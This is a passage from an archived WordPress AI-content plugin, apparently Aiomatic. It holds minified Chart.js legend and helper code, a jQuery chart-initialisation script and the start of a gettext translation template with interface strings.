0);return{text:e[n.index].label,fillStyle:a.backgroundColor,hidden:!t.isDatasetVisible(n.index),lineCap:a.borderCapStyle,lineDash:a.borderDash,lineDashOffset:a.borderDashOffset,lineJoin:a.borderJoinStyle,lineWidth:a.borderWidth,strokeStyle:a.borderColor,pointStyle:a.pointStyle,rotation:a.rotation,datasetIndex:n.index}}),this)}}},legendCallback:function(t){var e,n,i,a=document.createElement("ul"),r=t.data.datasets;for(a.setAttribute("class",t.id+"-legend"),e=0,n=r.length;el.width)&&(h+=o+n.padding,d[d.length-(e>0?0:1)]=0),s[e]={left:0,top:0,width:i,height:o},d[d.length-1]+=i+n.padding})),l.height+=h}else{var c=n.padding,f=t.columnWidths=[],g=t.columnHeights=[],p=n.padding,m=0,v=0;V.each(t.legendItems,(function(t,e){var i=Ci(n,o)+o/2+a.measureText(t.text).width;e>0&&v+o+2*c>l.height&&(p+=m+n.padding,f.push(m),g.push(v),m=0,v=0),m=Math.max(m,i),v+=o+c,s[e]={left:0,top:0,width:i,height:o}})),p+=m,f.push(m),g.push(v),l.width+=p}t.width=l.width,t.height=l.height}else t.width=l.width=t.height=l.height=0},afterFit:Mi,isHorizontal:function(){return"top"===this.options.position||"bottom"===this.options.position},draw:function(){var t=this,e=t.options,n=e.labels,i=z.global,a=i.defaultColor,r=i.elements.line,o=t.height,s=t.columnHeights,l=t.width,u=t.lineWidths;if(e.display){var d,h=wi(e.rtl,t.left,t.minSize.width),c=t.ctx,f=Si(n.fontColor,i.defaultFontColor),g=V.options._parseFont(n),p=g.size;c.textAlign=h.textAlign("left"),c.textBaseline="middle",c.lineWidth=.5,c.strokeStyle=f,c.fillStyle=f,c.font=g.string;var m=Ci(n,p),v=t.legendHitBoxes,b=function(t,i){switch(e.align){case"start":return n.padding;case"end":return t-i;default:return(t-i+n.padding)/2}},x=t.isHorizontal();d=x?{x:t.left+b(l,u[0]),y:t.top+n.padding,line:0}:{x:t.left+n.padding,y:t.top+b(o,s[0]),line:0},V.rtl.overrideTextDirection(t.ctx,e.textDirection);var y=p+n.padding;V.each(t.legendItems,(function(e,i){var f=c.measureText(e.text).width,g=m+p/2+f,_=d.x,k=d.y;h.setWidth(t.minSize.width),x?i>0&&_+g+n.padding>t.left+t.minSize.width&&(k=d.y+=y,d.line++,_=d.x=t.left+b(l,u[d.line])):i>0&&k+y>t.top+t.minSize.height&&(_=d.x=_+t.columnWidths[d.line]+n.padding,d.line++,k=d.y=t.top+b(o,s[d.line]));var w=h.x(_);!function(t,e,i){if(!(isNaN(m)||m<=0)){c.save();var o=Si(i.lineWidth,r.borderWidth);if(c.fillStyle=Si(i.fillStyle,a),c.lineCap=Si(i.lineCap,r.borderCapStyle),c.lineDashOffset=Si(i.lineDashOffset,r.borderDashOffset),c.lineJoin=Si(i.lineJoin,r.borderJoinStyle),c.lineWidth=o,c.strokeStyle=Si(i.strokeStyle,a),c.setLineDash&&c.setLineDash(Si(i.lineDash,r.borderDash)),n&&n.usePointStyle){var s=m*Math.SQRT2/2,l=h.xPlus(t,m/2),u=e+p/2;V.canvas.drawPoint(c,i.pointStyle,s,l,u,i.rotation)}else c.fillRect(h.leftForLtr(t,m),e,m,p),0!==o&&c.strokeRect(h.leftForLtr(t,m),e,m,p);c.restore()}}(w,k,e),v[i].left=h.leftForLtr(w,v[i].width),v[i].top=k,function(t,e,n,i){var a=p/2,r=h.xPlus(t,m+a),o=e+a;c.fillText(n.text,r,o),n.hidden&&(c.beginPath(),c.lineWidth=2,c.moveTo(r,o),c.lineTo(h.xPlus(r,i),o),c.stroke())}(w,k,e,f),x?d.x+=g+n.padding:d.y+=y})),V.rtl.restoreTextDirection(t.ctx,e.textDirection)}},_getLegendItemAt:function(t,e){var n,i,a,r=this;if(t>=r.left&&t<=r.right&&e>=r.top&&e<=r.bottom)for(a=r.legendHitBoxes,n=0;n=(i=a[n]).left&&t<=i.left+i.width&&e>=i.top&&e<=i.top+i.height)return r.legendItems[n];return null},handleEvent:function(t){var e,n=this,i=n.options,a="mouseup"===t.type?"click":t.type;if("mousemove"===a){if(!i.onHover&&!i.onLeave)return}else{if("click"!==a)return;if(!i.onClick)return}e=n._getLegendItemAt(t.x,t.y),"click"===a?e&&i.onClick&&i.onClick.call(n,t.native,e):(i.onLeave&&e!==n._hoveredItem&&(n._hoveredItem&&i.onLeave.call(n,t.native,n._hoveredItem),n._hoveredItem=e),i.onHover&&e&&i.onHover.call(n,t.native,e))}});function Ai(t,e){var n=new Pi({ctx:t.ctx,options:e,chart:t});ge.configure(t,n,e),ge.addBox(t,n),t.legend=n}var Di={id:"legend",_element:Pi,beforeInit:function(t){var e=t.options.legend;e&&Ai(t,e)},beforeUpdate:function(t){var e=t.options.legend,n=t.legend;e?(V.mergeIf(e,z.global.legend),n?(ge.configure(t,n,e),n.options=e):Ai(t,e)):n&&(ge.removeBox(t,n),delete t.legend)},afterEvent:function(t,e){var n=t.legend;n&&n.handleEvent(e)}},Ti=V.noop;z._set("global",{title:{display:!1,fontStyle:"bold",fullWidth:!0,padding:10,position:"top",text:"",weight:2e3}});var Ii=X.extend({initialize:function(t){V.extend(this,t),this.legendHitBoxes=[]},beforeUpdate:Ti,update:function(t,e,n){var i=this;return i.beforeUpdate(),i.maxWidth=t,i.maxHeight=e,i.margins=n,i.beforeSetDimensions(),i.setDimensions(),i.afterSetDimensions(),i.beforeBuildLabels(),i.buildLabels(),i.afterBuildLabels(),i.beforeFit(),i.fit(),i.afterFit(),i.afterUpdate(),i.minSize},afterUpdate:Ti,beforeSetDimensions:Ti,setDimensions:function(){var t=this;t.isHorizontal()?(t.width=t.maxWidth,t.left=0,t.right=t.width):(t.height=t.maxHeight,t.top=0,t.bottom=t.height),t.paddingLeft=0,t.paddingTop=0,t.paddingRight=0,t.paddingBottom=0,t.minSize={width:0,height:0}},afterSetDimensions:Ti,beforeBuildLabels:Ti,buildLabels:Ti,afterBuildLabels:Ti,beforeFit:Ti,fit:function(){var t,e=this,n=e.options,i=e.minSize={},a=e.isHorizontal();n.display?(t=(V.isArray(n.text)?n.text.length:1)*V.options._parseFont(n).lineHeight+2*n.padding,e.width=i.width=a?e.maxWidth:t,e.height=i.height=a?t:e.maxHeight):e.width=i.width=e.height=i.height=0},afterFit:Ti,isHorizontal:function(){var t=this.options.position;return"top"===t||"bottom"===t},draw:function(){var t=this,e=t.ctx,n=t.options;if(n.display){var i,a,r,o=V.options._parseFont(n),s=o.lineHeight,l=s/2+n.padding,u=0,d=t.top,h=t.left,c=t.bottom,f=t.right;e.fillStyle=V.valueOrDefault(n.fontColor,z.global.defaultFontColor),e.font=o.string,t.isHorizontal()?(a=h+(f-h)/2,r=d+l,i=f-h):(a="left"===n.position?h+l:f-l,r=d+(c-d)/2,i=c-d,u=Math.PI*("left"===n.position?-.5:.5)),e.save(),e.translate(a,r),e.rotate(u),e.textAlign="center",e.textBaseline="middle";var g=n.text;if(V.isArray(g))for(var p=0,m=0;m=0;i--){var a=t[i];if(e(a))return a}},V.isNumber=function(t){return!isNaN(parseFloat(t))&&isFinite(t)},V.almostEquals=function(t,e,n){return Math.abs(t-e)=t},V.max=function(t){return t.reduce((function(t,e){return isNaN(e)?t:Math.max(t,e)}),Number.NEGATIVE_INFINITY)},V.min=function(t){return t.reduce((function(t,e){return isNaN(e)?t:Math.min(t,e)}),Number.POSITIVE_INFINITY)},V.sign=Math.sign?function(t){return Math.sign(t)}:function(t){return 0===(t=+t)||isNaN(t)?t:t>0?1:-1},V.toRadians=function(t){return t*(Math.PI/180)},V.toDegrees=function(t){return t*(180/Math.PI)},V._decimalPlaces=function(t){if(V.isFinite(t)){for(var e=1,n=0;Math.round(t*e)/e!==t;)e*=10,n++;return n}},V.getAngleFromPoint=function(t,e){var n=e.x-t.x,i=e.y-t.y,a=Math.sqrt(n*n+i*i),r=Math.atan2(i,n);return r<-.5*Math.PI&&(r+=2*Math.PI),{angle:r,distance:a}},V.distanceBetweenPoints=function(t,e){return Math.sqrt(Math.pow(e.x-t.x,2)+Math.pow(e.y-t.y,2))},V.aliasPixel=function(t){return t%2==0?0:.5},V._alignPixel=function(t,e,n){var i=t.currentDevicePixelRatio,a=n/2;return Math.round((e-a)*i)/i+a},V.splineCurve=function(t,e,n,i){var a=t.skip?e:t,r=e,o=n.skip?e:n,s=Math.sqrt(Math.pow(r.x-a.x,2)+Math.pow(r.y-a.y,2)),l=Math.sqrt(Math.pow(o.x-r.x,2)+Math.pow(o.y-r.y,2)),u=s/(s+l),d=l/(s+l),h=i*(u=isNaN(u)?0:u),c=i*(d=isNaN(d)?0:d);return{previous:{x:r.x-h*(o.x-a.x),y:r.y-h*(o.y-a.y)},next:{x:r.x+c*(o.x-a.x),y:r.y+c*(o.y-a.y)}}},V.EPSILON=Number.EPSILON||1e-14,V.splineCurveMonotone=function(t){var e,n,i,a,r,o,s,l,u,d=(t||[]).map((function(t){return{model:t._model,deltaK:0,mK:0}})),h=d.length;for(e=0;e0?d[e-1]:null,(a=e0?d[e-1]:null,a=e=t.length-1?t[0]:t[e+1]:e>=t.length-1?t[t.length-1]:t[e+1]},V.previousItem=function(t,e,n){return n?e<=0?t[t.length-1]:t[e-1]:e<=0?t[0]:t[e-1]},V.niceNum=function(t,e){var n=Math.floor(V.log10(t)),i=t/Math.pow(10,n);return(e?i<1.5?1:i<3?2:i<7?5:10:i<=1?1:i<=2?2:i<=5?5:10)*Math.pow(10,n)},V.requestAnimFrame="undefined"==typeof window?function(t){t()}:window.requestAnimationFrame||window.webkitRequestAnimationFrame||window.mozRequestAnimationFrame||window.oRequestAnimationFrame||window.msRequestAnimationFrame||function(t){return window.setTimeout(t,1e3/60)},V.getRelativePosition=function(t,e){var n,i,a=t.originalEvent||t,r=t.target||t.srcElement,o=r.getBoundingClientRect(),s=a.touches;s&&s.length>0?(n=s[0].clientX,i=s[0].clientY):(n=a.clientX,i=a.clientY);var l=parseFloat(V.getStyle(r,"padding-left")),u=parseFloat(V.getStyle(r,"padding-top")),d=parseFloat(V.getStyle(r,"padding-right")),h=parseFloat(V.getStyle(r,"padding-bottom")),c=o.right-o.left-l-d,f=o.bottom-o.top-u-h;return{x:n=Math.round((n-o.left-l)/c*r.width/e.currentDevicePixelRatio),y:i=Math.round((i-o.top-u)/f*r.height/e.currentDevicePixelRatio)}},V.getConstraintWidth=function(t){return n(t,"max-width","clientWidth")},V.getConstraintHeight=function(t){return n(t,"max-height","clientHeight")},V._calculatePadding=function(t,e,n){return(e=V.getStyle(t,e)).indexOf("%")>-1?n*parseInt(e,10)/100:parseInt(e,10)},V._getParentNode=function(t){var e=t.parentNode;return e&&"[object ShadowRoot]"===e.toString()&&(e=e.host),e},V.getMaximumWidth=function(t){var e=V._getParentNode(t);if(!e)return t.clientWidth;var n=e.clientWidth,i=n-V._calculatePadding(e,"padding-left",n)-V._calculatePadding(e,"padding-right",n),a=V.getConstraintWidth(t);return isNaN(a)?i:Math.min(i,a)},V.getMaximumHeight=function(t){var e=V._getParentNode(t);if(!e)return t.clientHeight;var n=e.clientHeight,i=n-V._calculatePadding(e,"padding-top",n)-V._calculatePadding(e,"padding-bottom",n),a=V.getConstraintHeight(t);return isNaN(a)?i:Math.min(i,a)},V.getStyle=function(t,e){return t.currentStyle?t.currentStyle[e]:document.defaultView.getComputedStyle(t,null).getPropertyValue(e)},V.retinaScale=function(t,e){var n=t.currentDevicePixelRatio=e||"undefined"!=typeof window&&window.devicePixelRatio||1;if(1!==n){var i=t.canvas,a=t.height,r=t.width;i.height=a*n,i.width=r*n,t.ctx.scale(n,n),i.style.height||i.style.width||(i.style.height=a+"px",i.style.width=r+"px")}},V.fontString=function(t,e,n){return e+" "+t+"px "+n},V.longestText=function(t,e,n,i){var a=(i=i||{}).data=i.data||{},r=i.garbageCollect=i.garbageCollect||[];i.font!==e&&(a=i.data={},r=i.garbageCollect=[],i.font=e),t.font=e;var o,s,l,u,d,h=0,c=n.length;for(o=0;on.length){for(o=0;oi&&(i=r),i},V.numberOfLabelLines=function(t){var e=1;return V.each(t,(function(t){V.isArray(t)&&t.length>e&&(e=t.length)})),e},V.color=k?function(t){return t instanceof CanvasGradient&&(t=z.global.defaultColor),k(t)}:function(t){return console.error("Color.js not found!"),t},V.getHoverColor=function(t){return t instanceof CanvasPattern||t instanceof CanvasGradient?t:V.color(t).saturate(.5).darken(.1).rgbString()}}(),tn._adapters=an,tn.Animation=Z,tn.animationService=$,tn.controllers=$t,tn.DatasetController=nt,tn.defaults=z,tn.Element=X,tn.elements=_t,tn.Interaction=ae,tn.layouts=ge,tn.platform=Fe,tn.plugins=Le,tn.Scale=xn,tn.scaleService=Oe,tn.Ticks=rn,tn.Tooltip=Ue,tn.helpers.each(ci,(function(t,e){tn.scaleService.registerScaleType(e,t,t._defaults)})),Li)Li.hasOwnProperty(Ni)&&tn.plugins.register(Li[Ni]);tn.platform.initialize();var Bi=tn;return"undefined"!=typeof window&&(window.Chart=tn),tn.Chart=tn,tn.Legend=Li.legend._element,tn.Title=Li.title._element,tn.pluginService=tn.plugins,tn.PluginBase=tn.Element.extend({}),tn.canvasHelpers=tn.helpers.canvas,tn.layoutService=tn.layouts,tn.LinearScaleBase=Sn,tn.helpers.each(["Bar","Bubble","Doughnut","Line","PolarArea","Radar","Scatter"],(function(t){tn[t]=function(e,n){return new tn(e,tn.helpers.merge(n||{},{type:t.charAt(0).toLowerCase()+t.slice(1)}))}})),Bi}));js/functions.js000064400000006530147577714370007560 0ustar00"use strict"; jQuery(document).ready(function($) { window.aiomatic_charts = window.aiomatic_charts || {}; window.aiomatic_charts_init = window.aiomatic_charts_init || {}; jQuery.each(window.aiomatic_charts, function( index, value ) { switch ( value.type ) { case 'Doughnut': window.aiomatic_charts_init[ index ] = new Chart(document.getElementById( index ).getContext("2d"), { type: 'doughnut', data: value.data, options: value.options }); break; case 'Pie': window.aiomatic_charts_init[ index ] = new Chart(document.getElementById( index ).getContext("2d"), { type: 'pie', data: value.data, options: value.options }); break; case 'Bubble': window.aiomatic_charts_init[ index ] = new Chart(document.getElementById( index ).getContext("2d"), { type: 'bubble', data: value.data, options: value.options }); break; case 'PolarArea': window.aiomatic_charts_init[ index ] = new Chart(document.getElementById( index ).getContext("2d"), { type: 'polarArea', data: value.data, options: value.options }); break; case 'Bar': window.aiomatic_charts_init[ index ] = new Chart(document.getElementById( index ).getContext("2d"), { type: 'bar', data: value.data, options: value.options }); break; case 'Line': window.aiomatic_charts_init[ index ] = new Chart(document.getElementById( index ).getContext("2d"), { type: 'line', data: value.data, options: value.options }); break; case 'Radar': window.aiomatic_charts_init[ index ] = new Chart(document.getElementById( index ).getContext("2d"), { type: 'radar', data: value.data, options: value.options }); break; default : window.aiomatic_charts_init[ index ] = new Chart(document.getElementById( index ).getContext("2d"), { type: 'line', data: value.data, options: value.options }); } }); !function(a,b){var c=function(a,b,c){var d;return function(){function g(){c||a.apply(e,f),d=null}var e=this,f=arguments;d?clearTimeout(d):c&&a.apply(e,f),d=setTimeout(g,b||100)}};jQuery.fn[b]=function(a){return a?this.bind("resize",c(a)):this.trigger(b)}}(jQuery,"smartresize"); function reSize(selector) { jQuery(selector).each(function() { var current = jQuery(this); var proportion = current.data('proportion'); var thisWidth = current.outerWidth(); current.css( 'height', (thisWidth / proportion) ); current.parent().css( 'height', (thisWidth / proportion) ); }); } reSize('.aiomatic_charts_canvas'); jQuery(window).smartresize(function() { reSize('.aiomatic_charts_canvas'); }); });languages/aiomatic-automatic-ai-content-writer.pot000064400003675076147577714370016437 0ustar00#, fuzzy msgid "" msgstr "" "Project-Id-Version: Aiomatic - Automatic AI Content Writer, Editor, Chatbot " "& AI Toolkit\n" "POT-Creation-Date: 2024-07-09 16:09+0300\n" "PO-Revision-Date: 2024-07-09 16:09+0300\n" "Last-Translator: \n" "Language-Team: \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=INTEGER; plural=EXPRESSION;\n" "X-Generator: Poedit 3.4.4\n" "X-Poedit-Basepath: ..\n" "X-Poedit-Flags-xgettext: --add-comments=translators:\n" "X-Poedit-WPHeader: aiomatic-automatic-ai-content-writer.php\n" "X-Poedit-SourceCharset: UTF-8\n" "X-Poedit-KeywordsList: __;_e;_n:1,2;_x:1,2c;_ex:1,2c;_nx:4c,1,2;esc_attr__;" "esc_attr_e;esc_attr_x:1,2c;esc_html__;esc_html_e;esc_html_x:1,2c;_n_noop:1,2;" "_nx_noop:3c,1,2;__ngettext_noop:1,2\n" "X-Poedit-SearchPath-0: .\n" "X-Poedit-SearchPathExcluded-0: *.min.js\n" "X-Poedit-SearchPathExcluded-1: res\\readability\\vendor\n" "X-Poedit-SearchPathExcluded-2: update-checker\\vendor\n" #: aiomatic-ajax-actions.php:3428 aiomatic-ajax-actions.php:3510 #: aiomatic-ajax-actions.php:3594 aiomatic-ajax-actions.php:3726 #: aiomatic-ajax-actions.php:4143 aiomatic-ajax-actions.php:4232 #: aiomatic-ajax-actions.php:6174 aiomatic-ajax-actions.php:11900 #: aiomatic-ajax-actions.php:12228 aiomatic-ajax-actions.php:12369 #: aiomatic-automatic-ai-content-writer.php:29044 aiomatic-streaming.php:341 #, php-format msgid "" "You are not allowed to access this form if you are not logged in. Please log in to continue." msgstr "" #: aiomatic-ajax-actions.php:5449 aiomatic-ajax-actions.php:5510 #: aiomatic-ajax-actions.php:5757 aiomatic-ajax-actions.php:5887 msgid "You are not allowed to do this." msgstr "" #: aiomatic-ajax-actions.php:5457 aiomatic-ajax-actions.php:5570 #: aiomatic-ajax-actions.php:5789 msgid "No file sent for upload." msgstr "" #: aiomatic-ajax-actions.php:5464 aiomatic-ajax-actions.php:5577 #: aiomatic-ajax-actions.php:5796 msgid "File size exceeds maximum limit." msgstr "" #: aiomatic-ajax-actions.php:5470 aiomatic-ajax-actions.php:5583 msgid "Invalid file type submitted." msgstr "" #: aiomatic-ajax-actions.php:5479 aiomatic-ajax-actions.php:5592 msgid "Upload error: " msgstr "" #: aiomatic-ajax-actions.php:5516 msgid "Please specify also a namespace for embeddings." msgstr "" #: aiomatic-ajax-actions.php:5527 msgid "" "This option requires the Aiomatic Extension - PDF File Storage And Parsing " "to be active." msgstr "" #: aiomatic-ajax-actions.php:5534 aiomatic-ajax-actions.php:5776 msgid "You need to enter an OpenAI API key for this feature to work." msgstr "" #: aiomatic-ajax-actions.php:5550 msgid "" "You need to enter a Pinecone.io API or a Qdrant API key for this to work" msgstr "" #: aiomatic-ajax-actions.php:5556 msgid "You need to enable Embeddings for the Chatbot for this to work" msgstr "" #: aiomatic-ajax-actions.php:5563 msgid "You need to enable PDF chat in plugin settings." msgstr "" #: aiomatic-ajax-actions.php:5613 msgid "Failed to upload and process file" msgstr "" #: aiomatic-ajax-actions.php:5701 msgid "No textual data found in the PDF file" msgstr "" #: aiomatic-ajax-actions.php:5783 msgid "You need to enable file uploads for chat in plugin settings." msgstr "" #: aiomatic-ajax-actions.php:5893 msgid "Missing parameter (uniqid)" msgstr "" #: aiomatic-ajax-actions.php:5899 msgid "Missing parameter (input_text)" msgstr "" #: aiomatic-ajax-actions.php:5905 msgid "Missing parameter (remember_string)" msgstr "" #: aiomatic-ajax-actions.php:5911 msgid "Missing parameter (user_question)" msgstr "" #: aiomatic-ajax-actions.php:5932 msgid "Incomplete POST request for chat" msgstr "" #: aiomatic-ajax-actions.php:6018 msgid "Failed to decode conversation data in request!" msgstr "" #: aiomatic-ajax-actions.php:6104 #: aiomatic-automatic-ai-content-writer.php:29012 aiomatic-streaming.php:301 msgid "Invalid model provided: " msgstr "" #: aiomatic-ajax-actions.php:6145 #: aiomatic-automatic-ai-content-writer.php:29021 aiomatic-streaming.php:318 msgid "Invalid temperature provided: " msgstr "" #: aiomatic-ajax-actions.php:6150 #: aiomatic-automatic-ai-content-writer.php:29026 aiomatic-streaming.php:323 msgid "Invalid top_p provided: " msgstr "" #: aiomatic-ajax-actions.php:6155 #: aiomatic-automatic-ai-content-writer.php:29031 aiomatic-streaming.php:328 msgid "Invalid presence_penalty provided: " msgstr "" #: aiomatic-ajax-actions.php:6160 #: aiomatic-automatic-ai-content-writer.php:29036 aiomatic-streaming.php:333 msgid "Invalid frequency_penalty provided: " msgstr "" #: aiomatic-ajax-actions.php:6166 aiomatic-ajax-actions.php:12360 #: aiomatic-streaming.php:58 msgid "You need to insert a valid OpenAI/AiomaticAPI API Key for this to work!" msgstr "" #: aiomatic-ajax-actions.php:6183 msgid "" "Daily token count of your user account was exceeded! Please try again " "tomorrow." msgstr "" #: aiomatic-ajax-actions.php:6270 msgid "An internal error occurred, please try again later!" msgstr "" #: aiomatic-ajax-actions.php:9931 res/aiomatic-shortcodes.php:209 msgid "Input Fields" msgstr "" #: aiomatic-ajax-actions.php:9931 res/aiomatic-shortcodes.php:209 msgid "Hide Input Fields" msgstr "" #: aiomatic-ajax-actions.php:9933 res/aiomatic-shortcodes.php:211 msgid "Add A New Form Input Field" msgstr "" #: aiomatic-ajax-actions.php:9943 res/aiomatic-shortcodes.php:20 msgid "Set the input field Label (textual hint)." msgstr "" #: aiomatic-ajax-actions.php:9948 res/aiomatic-shortcodes.php:27 msgid "ID*" msgstr "" #: aiomatic-ajax-actions.php:9949 res/aiomatic-shortcodes.php:30 #, php-format msgid "" "Set the input field ID. This is important, as you will be able to get the " "value entered by users on the front end for this input field, using this ID. " "You will be able to use this in the 'Prompt' settings field from below, in " "the following format: %%ID_YOU_ENTER_HERE%%." msgstr "" #: aiomatic-ajax-actions.php:9952 res/aiomatic-shortcodes.php:35 msgid "" "You can add the value of this field to the form prompt from below, using " "this shortcode" msgstr "" #: aiomatic-ajax-actions.php:9955 res/aiomatic-shortcodes.php:38 msgid "Required*" msgstr "" #: aiomatic-ajax-actions.php:9956 res/aiomatic-shortcodes.php:41 msgid "" "Set this input field as required (form cannot be submitted unless this is " "filled up)." msgstr "" #: aiomatic-ajax-actions.php:9974 res/aiomatic-shortcodes.php:51 msgid "Field Type*" msgstr "" #: aiomatic-ajax-actions.php:9975 res/aiomatic-shortcodes.php:54 msgid "Set the field type for this input field." msgstr "" #: aiomatic-ajax-actions.php:10046 res/aiomatic-shortcodes.php:72 msgid "Placeholder Text" msgstr "" #: aiomatic-ajax-actions.php:10055 res/aiomatic-shortcodes.php:76 msgid "Max Character Input Limit" msgstr "" #: aiomatic-ajax-actions.php:10064 res/aiomatic-shortcodes.php:80 msgid "Min" msgstr "" #: aiomatic-ajax-actions.php:10073 res/aiomatic-shortcodes.php:84 msgid "Max" msgstr "" #: aiomatic-ajax-actions.php:10082 res/aiomatic-shortcodes.php:88 msgid "Rows" msgstr "" #: aiomatic-ajax-actions.php:10091 res/aiomatic-shortcodes.php:92 msgid "Cols" msgstr "" #: aiomatic-ajax-actions.php:10105 res/aiomatic-shortcodes.php:101 msgid "Move Up" msgstr "" #: aiomatic-ajax-actions.php:10106 res/aiomatic-shortcodes.php:102 msgid "Move Down" msgstr "" #: aiomatic-ajax-actions.php:10107 #: aiomatic-automatic-ai-content-writer.php:19020 #: aiomatic-automatic-ai-content-writer.php:19877 #: res/aiomatic-assistants.php:277 res/aiomatic-automation-list.php:1321 #: res/aiomatic-automation-list.php:2180 res/aiomatic-automation-list.php:2463 #: res/aiomatic-automation-list.php:2581 res/aiomatic-automation-list.php:4025 #: res/aiomatic-automation-list.php:4884 res/aiomatic-automation-list.php:6971 #: res/aiomatic-automation-list.php:7837 res/aiomatic-chatbot.php:3029 #: res/aiomatic-embeddings.php:147 res/aiomatic-limits-statistics.php:835 #: res/aiomatic-shortcodes.php:103 res/aiomatic-shortcodes.php:624 #: res/aiomatic-training.php:473 res/aiomatic-training.php:568 msgid "Delete" msgstr "" #: aiomatic-ajax-actions.php:10108 res/aiomatic-assistants.php:275 #: res/aiomatic-automation-list.php:2579 res/aiomatic-chatbot.php:3028 #: res/aiomatic-shortcodes.php:104 res/aiomatic-shortcodes.php:623 msgid "Duplicate" msgstr "" #: aiomatic-ajax-actions.php:10115 res/aiomatic-shortcodes.php:216 msgid "Form Options" msgstr "" #: aiomatic-ajax-actions.php:10116 res/aiomatic-shortcodes.php:217 msgid "Type*" msgstr "" #: aiomatic-ajax-actions.php:10117 res/aiomatic-shortcodes.php:220 msgid "Set the type of this form." msgstr "" #: aiomatic-ajax-actions.php:10125 aiomatic-automation.php:708 #: res/aiomatic-main.php:3815 res/aiomatic-main.php:10626 #: res/aiomatic-shortcodes.php:59 res/aiomatic-shortcodes.php:225 msgid "Text" msgstr "" #: aiomatic-ajax-actions.php:10131 res/aiomatic-shortcodes.php:226 msgid "Dall-E 2 Image" msgstr "" #: aiomatic-ajax-actions.php:10137 res/aiomatic-shortcodes.php:227 msgid "Dall-E 3 Image" msgstr "" #: aiomatic-ajax-actions.php:10145 res/aiomatic-shortcodes.php:231 msgid "Stable Diffusion Image" msgstr "" #: aiomatic-ajax-actions.php:10154 res/aiomatic-amazon-list.php:1693 #: res/aiomatic-amazon-list.php:4275 res/aiomatic-listicle-list.php:1582 #: res/aiomatic-listicle-list.php:4069 res/aiomatic-main.php:3605 #: res/aiomatic-review-list.php:1762 res/aiomatic-review-list.php:4428 #: res/aiomatic-rules-list.php:1863 res/aiomatic-rules-list.php:4636 #: res/aiomatic-spinner-list.php:2257 res/aiomatic-youtube-list.php:1619 #: res/aiomatic-youtube-list.php:4156 msgid "Midjourney" msgstr "" #: aiomatic-ajax-actions.php:10158 res/aiomatic-shortcodes.php:240 msgid "Title*" msgstr "" #: aiomatic-ajax-actions.php:10159 res/aiomatic-shortcodes.php:243 msgid "Set the title of this form." msgstr "" #: aiomatic-ajax-actions.php:10163 res/aiomatic-assistants.php:230 #: res/aiomatic-shortcodes.php:249 res/image-seo/seo-panel.php:151 msgid "Description" msgstr "" #: aiomatic-ajax-actions.php:10164 res/aiomatic-shortcodes.php:252 msgid "Set the description of this form." msgstr "" #: aiomatic-ajax-actions.php:10168 res/aiomatic-shortcodes.php:258 msgid "Prompt*" msgstr "" #: aiomatic-ajax-actions.php:10169 res/aiomatic-shortcodes.php:262 #, php-format msgid "" "Set the prompt which will be sent to the AI content writer. You can use " "shortcodes to get the input values entered by users in the form. The " "shortcodes need to be in the following format: %%ID_of_the_input_field%%" msgstr "" #: aiomatic-ajax-actions.php:10173 aiomatic-shortcodes-file.php:641 #: res/aiomatic-shortcodes.php:268 msgid "Sample Response" msgstr "" #: aiomatic-ajax-actions.php:10174 res/aiomatic-shortcodes.php:271 msgid "Set an example response for this form, this can be shown to users." msgstr "" #: aiomatic-ajax-actions.php:10184 msgid "AI Model Options" msgstr "" #: aiomatic-ajax-actions.php:10185 res/aiomatic-shortcodes.php:279 msgid "AI Assistant ID*" msgstr "" #: aiomatic-ajax-actions.php:10186 msgid "Select the AI assistant to be used for this form." msgstr "" #: aiomatic-ajax-actions.php:10192 #: aiomatic-automatic-ai-content-writer.php:18168 #: aiomatic-automatic-ai-content-writer.php:19187 #: aiomatic-shortcodes-file.php:578 res/admin/ai-post-gutenberg.php:95 #: res/admin/ai-post.php:91 res/aiomatic-amazon-list.php:383 #: res/aiomatic-amazon-list.php:2998 res/aiomatic-automation-list.php:470 #: res/aiomatic-automation-list.php:1494 res/aiomatic-automation-list.php:3174 #: res/aiomatic-automation-list.php:4198 res/aiomatic-automation-list.php:6118 #: res/aiomatic-automation-list.php:7147 res/aiomatic-chatbot.php:1303 #: res/aiomatic-chatbot.php:6605 res/aiomatic-listicle-list.php:353 #: res/aiomatic-listicle-list.php:2880 res/aiomatic-main.php:3628 #: res/aiomatic-main.php:4209 res/aiomatic-main.php:4506 #: res/aiomatic-main.php:4883 res/aiomatic-main.php:5896 #: res/aiomatic-main.php:5999 res/aiomatic-main.php:6128 #: res/aiomatic-main.php:6365 res/aiomatic-main.php:6473 #: res/aiomatic-main.php:7809 res/aiomatic-main.php:7985 #: res/aiomatic-main.php:8942 res/aiomatic-review-list.php:383 #: res/aiomatic-review-list.php:3075 res/aiomatic-rules-list.php:368 #: res/aiomatic-rules-list.php:3209 res/aiomatic-shortcodes.php:290 #: res/aiomatic-single-list.php:862 res/aiomatic-single-list.php:1420 #: res/aiomatic-single-list.php:2623 res/aiomatic-single-list.php:3826 #: res/aiomatic-single-list.php:4578 res/aiomatic-single-list.php:5848 #: res/aiomatic-single-list.php:7145 res/aiomatic-spinner-list.php:1118 #: res/aiomatic-spinner-list.php:1898 res/aiomatic-spinner-list.php:2131 #: res/aiomatic-spinner-list.php:2688 res/aiomatic-spinner-list.php:2959 #: res/aiomatic-spinner-list.php:3134 res/aiomatic-spinner-list.php:3328 #: res/aiomatic-spinner-list.php:3517 res/aiomatic-spinner-list.php:3758 #: res/aiomatic-youtube-list.php:353 res/aiomatic-youtube-list.php:2935 #: res/image-seo/seo-panel.php:66 msgid "Only OpenAI API is supported for Assistants API" msgstr "" #: aiomatic-ajax-actions.php:10198 #: aiomatic-automatic-ai-content-writer.php:18174 #: aiomatic-automatic-ai-content-writer.php:19193 #: aiomatic-shortcodes-file.php:584 res/admin/ai-post-gutenberg.php:101 #: res/admin/ai-post.php:97 res/aiomatic-amazon-list.php:389 #: res/aiomatic-amazon-list.php:3004 res/aiomatic-automation-list.php:476 #: res/aiomatic-automation-list.php:1500 res/aiomatic-automation-list.php:3180 #: res/aiomatic-automation-list.php:4204 res/aiomatic-automation-list.php:6124 #: res/aiomatic-automation-list.php:7153 res/aiomatic-chatbot.php:1309 #: res/aiomatic-chatbot.php:6611 res/aiomatic-listicle-list.php:359 #: res/aiomatic-listicle-list.php:2886 res/aiomatic-main.php:3634 #: res/aiomatic-main.php:4215 res/aiomatic-main.php:4512 #: res/aiomatic-main.php:4889 res/aiomatic-main.php:5902 #: 